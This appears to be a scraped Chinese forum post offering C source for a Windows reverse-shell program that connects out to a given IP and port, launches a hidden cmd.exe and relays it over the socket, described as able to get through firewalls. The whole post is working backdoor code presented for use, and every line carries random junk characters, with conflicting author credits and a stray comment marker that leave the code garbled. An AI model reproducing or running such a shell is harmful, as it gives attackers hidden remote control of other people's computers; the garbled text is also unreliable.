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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 *eF'<._[U  
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/* ============================== cF2!By3M  
Rebound port in Windows NT q6]T;)U&  
By wind,2006/7 9I|D"zXn  
===============================*/ pO_$8=G+  
#include ;h7W(NO~z  
#include &1 BACKu  
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#pragma comment(lib,"wsock32.lib") a'Vz|S G  
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void OutputShell(); xlP0?Y1Bl  
SOCKET sClient; K Y=$RO  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ^b;3Jj  
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void main(int argc,char **argv) >WcOY7  
{ "9^OT  
WSADATA stWsaData; X-_ $jKfM  
int nRet; Ue?mb$ykC.  
SOCKADDR_IN stSaiClient,stSaiServer; =$w QA  
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if(argc != 3) !*\ J4bJe  
{ "Dt: 8Nf^  
printf("Useage:\n\rRebound DestIP DestPort\n"); Q"Pl)Q\  
return; Q2)CbHSz  
} u]766<Z  
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WSAStartup(MAKEWORD(2,2),&stWsaData); {0o ,2]o!:  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); <K:L.c!  
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stSaiClient.sin_family = AF_INET; /S #Z.T~~  
stSaiClient.sin_port = htons(0); Gf->N `N  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 1_B;r9x  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 1C5~GI`  
{ Y(/y,bJ?jp  
printf("Bind Socket Failed!\n"); k^{}p8;3  
return; oG$OZTc  
} >4^,[IO/  
/* G-\|  
stSaiServer.sin_family = AF_INET; ]=%oBxWAP  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); e#<A\?  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); MwHxn%  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) c D5N'3  
{ ev[!:*6P  
printf("Connect Error!"); ;uhpo  
return; `gSJEq  
} [sXn B$  
OutputShell(); UfNcI[xr  
} r}4   
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void OutputShell() t!&p5wJ*Q  
{ !CUy{nV  
char szBuff[1024]; "MPr'3  
SECURITY_ATTRIBUTES stSecurityAttributes; f5`q9w_c  
OSVERSIONINFO stOsversionInfo; q |Orv =v  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; [!S%nYs&8L  
STARTUPINFO stStartupInfo; ($X2SIZh  
char *szShell; m:W+s4!E  
PROCESS_INFORMATION stProcessInformation; r]B`\XWz  
unsigned long lBytesRead; 6sQY)F7p  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); c?%}J\<n  
nj <nW5[  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ]^6r7nfR6|  
stSecurityAttributes.lpSecurityDescriptor = 0; %%{f-\-7Ig  
stSecurityAttributes.bInheritHandle = TRUE; (,j ~s{  
6[3>[ej:x  
j\\uW)ibG  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); g?gF*^_0  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); C>*1f|<  
Blox~=cW  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); Q- }cB  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; x4CSUcKb  
stStartupInfo.wShowWindow = SW_HIDE; vduh5.  
stStartupInfo.hStdInput = hReadPipe; b\Mb6s  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; /ptG  
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GetVersionEx(&stOsversionInfo); XNr8,[c  
9`Y\`F#}q  
switch(stOsversionInfo.dwPlatformId) rebWXz7  
{ ZRP[N)Ld$  
case 1: i{7Vh0n3S-  
szShell = "command.com"; j-k]|0ea}  
break; lbj_ if;  
default: 303x|y  
szShell = "cmd.exe"; wqF_hs(O  
break; /_V4gwb}|-  
} Is(ZVI  
5gZ *  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 2rrC y C  
b" kL)DL1L  
send(sClient,szMsg,77,0); IQyw>_~]  
while(1) v9GfudTZR  
{ om1D}irKT  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); iHk/#a  
if(lBytesRead) '"9Wt@ .  
{ 0O|l7mCr%I  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); F @uOXNz)  
send(sClient,szBuff,lBytesRead,0); q\d/-K  
} M!O &\2Q  
else }UWi[UgA  
{ '^`%  
lBytesRead=recv(sClient,szBuff,1024,0); Og:aflS  
if(lBytesRead<=0) break; r}|a*dh'R  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); Gf<%bQE  
} y:VY8a 4  
} e[g.&*!  
dG%{&W9  
return; )dF`L  
}
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